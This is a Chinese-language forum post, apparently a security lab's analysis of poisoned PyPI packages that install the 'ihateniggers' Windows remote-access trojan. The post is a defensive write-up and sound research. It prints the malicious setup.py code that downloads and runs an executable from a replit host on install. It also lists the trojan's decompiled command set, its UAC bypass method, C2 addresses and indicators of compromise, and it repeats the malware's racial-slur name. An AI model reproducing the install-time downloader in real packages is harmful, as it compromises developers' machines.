V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
ssltest
V2EX  ›  信息安全

ihateniggers:针对 Python 开发者的 Windows 远控木马分析

  •  
  •   ssltest · 351 天前 · 1080 次点击
    这是一个创建于 351 天前的主题,其中的信息可能已经有所发展或是发生改变。

    背景

    墨菲安全实验室在持续监测开源软件仓库中的投毒行为,5 月 9 日起发现 4 个包含 "ihateniggers" 远程控制木马的 Python 包被 [email protected] 邮箱关联的账号发布到 PyPI 仓库,试图针对 Windows 系统下 Python 开发者进行攻击。木马利用了 discord 、replit 、playit 等多个平台托管后门、隐藏身份,当前木马作者仍在活跃。

    事件简述

    我们监测发现,从 5 月 9 日开始在 PyPI 仓库出现利用 "ihateniggers" 木马进行攻击的后门组件( installpippython ),这些包只针对 Windows 操作系统执行恶意逻辑。

    这些投毒包通过在 setup.py 中添加下载执行下载器的逻辑,再通过下载器下载执行木马。下载器首先下载 curl 的 dll 文件为攻击做铺垫,之后下载 "ihateniggers" 木马文件并执行。该木马中存在截取屏幕、执行命令、下载文件、获取剪贴板、获取 Wi-Fi 密码等恶意行为。

    当前投毒者仍在活跃,墨菲安全发现至少有 4 个包含 "ihateniggers" 木马文件的 Python 包,这些包当前在 PyPI 仓库中已被下线。

    包名 版本 发布时间 所用用户名 所用邮箱
    args-python 12.4.5 2023/5/10 nagogy213 [email protected]
    args-python 12.5.5 2023/5/10 nagogy213 [email protected]
    argspython 12.5.5 2023/5/10 nagogy213 [email protected]
    argspython 12.6.5 2023/5/10 nagogy213 [email protected]
    installpippython 19.3.5 2023/5/9 nagogy213 [email protected]
    pythonarg 1.1 2023/5/10 dynastyoak [email protected]

    投毒者 dreamyoak 利用了 https://discord.com/https://replit.com/https://playit.gg/ 等平台托管其恶意文件、作为信息收集的后端服务、命令控制的信道,其母语可能是韩语 /朝鲜语。

    投毒行为分析

    投放包含下载器的 Python 包

    投毒者以 arg 作为关键词在 PyPI 仓库中发布了多个包,以 pythonarg v1.1 为例,当用户通过 pip 安装投毒组件包或者引入组件包的 reqinstaller 模块时,将会从 hxxps://cdn.dreamyoak.repl.co/ 下载并执行恶意软件:

    # setup.py 和 reqinstaller 模块中的 __init__.py
    import urllib.request
    import tempfile
    import subprocess
    
    url = 'https://cdn.dreamyoak.repl.co/cdn/hb2Voh.exe'
    with urllib.request.urlopen(url) as response:
        with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
            tmp_file.write(response.read())
            exe_path = tmp_file.name
    
    subprocess.call([exe_path])
    

    exe 文件运行时将从 hxxps://cdn.discordapp.com/ 下载 libcurl 以及木马 windows-services.exe ,这些文件被作为附件传到了 Discord 中。

    在文件中也可以提取到开发时的项目路径,将该模块称为rat-downloader

    C:\Users\admin\Desktop\dreamyoak\projects\c++\rat-downloader

    Replit 提供了从代码编写到构建运行的云端 IDE 环境,*.repl.co 是 Replit 平台提供用于托管用户项目的域名。

    投毒者至少使用了 "dreamyoak" 和 "thughunter" 两个账号,分别注册了 "cdn" 和 "cdn-1" 等多个项目,用于托管下载器,以及后续的信息收集服务。

    通过下载器引入远控木马( RAT )

    windows-services.exe 是一个功能全面的远程控制木马( RAT ),运行依赖于 libcurl.dll 动态链接库。与 hb2Voh.exe 相同,都使用 MinGW 构建,投毒者可能更熟悉 Linux 下的开发环境。

    在运行后会先通过注册表、fodhelper.exe 等绕过 UAC 。

    而后连接 back-effort.at.ply[.]gg:50555 服务,ply.ggplayit.gg 提供的游戏托管服务域名,针对游戏场景提供了 TCP/UDP 的公网端口中转服务。该木马利用 playit.gg 作为 C2 服务,降低成本,隐藏其身份。

    木马中支持了大量的控制指令,实现了如截取屏幕、执行命令、下载文件、获取剪贴板、获取 Wi-Fi 密码等功能。

    if ( (unsigned __int8)sub_522560(&v41, "!ip") )
    if ( (unsigned __int8)sub_522560(&v41, "!screenshot") )
    v12 = sub_522560(&STACK[0x7A0], "!download");
    v14 = sub_522560(&STACK[0x870], "!cmd");
    if ( (unsigned __int8)sub_522560(&v41, "!dir") )
    if ( (unsigned __int8)sub_522560(&v41, "!clipboard") )
    v15 = sub_522560(&STACK[0xBD0], "!openlink");
    else if ( (unsigned __int8)sub_522560(&v41, "!wifipasswords") )
    v16 = sub_522560(&STACK[0xCA0], "!errorbox");
    else if ( (unsigned __int8)sub_522560(&v41, "!tasklist") )
    v17 = sub_522560(&STACK[0xE40], "!run");
    else if ( (unsigned __int8)sub_522560(&v41, "!lock") )
    v18 = sub_522560(&STACK[0xF00], "!delete");
    else if ( (unsigned __int8)sub_522560(&v41, "!getadmin") )
    else if ( (unsigned __int8)sub_522560(&v41, "!webcam") )
    v19 = sub_522560(&STACK[0x10E0], "!upload");
    v20 = sub_522560(&STACK[0x1140], "!mic");
    else if ( (unsigned __int8)sub_522560(&v41, "!disabledef") )
    v22 = sub_522560(&STACK[0x12A0], "!cd");
    else if ( (unsigned __int8)sub_522560(&v41, "!isadmin") )
    v24 = sub_522560(&STACK[0x1370], "!wallpaper");
    else if ( (unsigned __int8)sub_522560(&v41, "!restart") )
    else if ( (unsigned __int8)sub_522560(&v41, "!shutdown") )
    v29 = sub_522560(&STACK[0x14F0], "!uprun");
    v30 = sub_522560(&STACK[0x15B0], "!kill");
    else if ( (unsigned __int8)sub_522560(&v41, "!sysinfo") )
    else if ( (unsigned __int8)sub_522560(&v41, "!fuckkeyboard") )
    else if ( (unsigned __int8)sub_522560(&v41, "!fixkeyboard") )
    else if ( (unsigned __int8)sub_522560(&v41, "!blackscreen") )
    else if ( (unsigned __int8)sub_522560(&v41, "!bluescreen") )
    else if ( (unsigned __int8)sub_522560(&v41, "!windowspass") )
    v31 = sub_522560(&STACK[0x17C0], "!spam");
    v33 = sub_522560(&STACK[0x1860], "!adduser");
    v34 = sub_522560(&STACK[0x18D0], "!listusers");
    v35 = sub_522560(&STACK[0x1910], "!deluser");
    v36 = sub_522560(&STACK[0x1980], "!play");
    

    也会依赖其他后门完成额外操作,如获取摄像头画面:

    获取敏感信息后留存的文件,多以 ihateniggers 作为前缀命名,投毒者可能是种族主义者( niggers 意为黑鬼)。

    窃取后的信息会发送至 replit 的信息收集服务中(hxxps://cdn.dreamyoak.repl.co/api/upload/nagogy133)

    溯源分析

    投毒者在 2023 年 1 月份就开始用“@thughunter”账号进行服务部署,在 Replit 中部署了多套环境进行测试,在 5 月 10 号开始以“@dreamyoak”发布除 installpippython 之外的其他投毒包。

    在 GitHub 中,dreamyoak 、nagogy 账号与木马作者的关联性较高,其仓库中也包含类似功能的恶意软件代码。

    通过邮箱关联,攻击者可能使用韩语 /朝鲜语作为其母语,其对应名称可能为김기원(金基元)。

    风险防范

    当前,PyPI 仓库中涉及的 python 包已经下线,gplayit 中的 back-effort.at.ply[.]gg:50555 服务已经关闭,replit 中 thughunter 的服务未开启。但从其投毒行为来看,还处于早期调试阶段,后续可能持续投毒并提升检测对抗难度。

    相关网络 IOC 包括:

    back-effort.at.ply[.]gg:50555
    hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105559368600133642/libcurl-x64.dll
    hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105562608993570816/win32.exe
    hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105559654160924672/windows-services.exe
    hxxps://cdn.dreamyoak.repl.co/cdn/hb2Voh.exe
    hxxps://cdn.dreamyoak.repl.co/api/upload/nagogy1337
    hxxps://cdn-1.thughunter.repl.co/cdn/DLwsT3.exe
    hxxps://cdn-1.thughunter.repl.co/cdn/Windows.exe
    
    目前尚无回复
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1115 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 18:09 · PVG 02:09 · LAX 11:09 · JFK 14:09
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.